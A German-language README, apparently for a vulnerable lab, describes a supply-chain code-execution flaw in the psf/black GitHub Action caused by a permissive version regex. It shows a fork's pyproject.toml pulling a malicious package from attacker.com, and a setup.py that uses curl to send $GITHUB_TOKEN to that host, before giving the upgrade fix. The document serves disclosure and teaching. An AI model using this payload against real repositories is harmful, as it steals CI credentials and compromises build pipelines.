
CVE-2026-31900 Verwundbares Labor – RCE in der psf/black GitHub Action
| Feld | Detail |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (Hoch) |
| Advisory | GHSA-v53h-f6m7-xcgm |
| Betroffen | psf/black GitHub Action < v26.3.0 |
| Typ | RCE über Supply Chain (pull_request-Trigger) |
Die Option use_pyproject: true liest die Black-Version aus pyproject.toml. Die Regex, die zur Validierung der Versionszeichenfolge verwendet wird, ist aufgrund von re.IGNORECASE übermäßig permissiv und erlaubt Zeichen wie Leerzeichen, @, : und / — genau das, was für eine PEP-508-URL-Anforderung benötigt wird.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml in Ihrem Fork:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request-Workflow-Trigger wird ausgelöstpyproject.toml und umgeht die Regex-Validierungsetup.py führt beliebigen Code aussetup.pyfrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (CI-Runner-Token)Upgrade auf psf/black v26.3.0 oder pinnen Sie die Version explizit im Workflow-YAML, anstatt use_pyproject: true zu verwenden.
.github/workflows/black.yml ← Verwundbarer Workflow (use_pyproject: true)
pyproject.toml ← Legitime Konfiguration (Hauptbranch)
app.py ← Beispiel-Python-Datei, die formatiert wird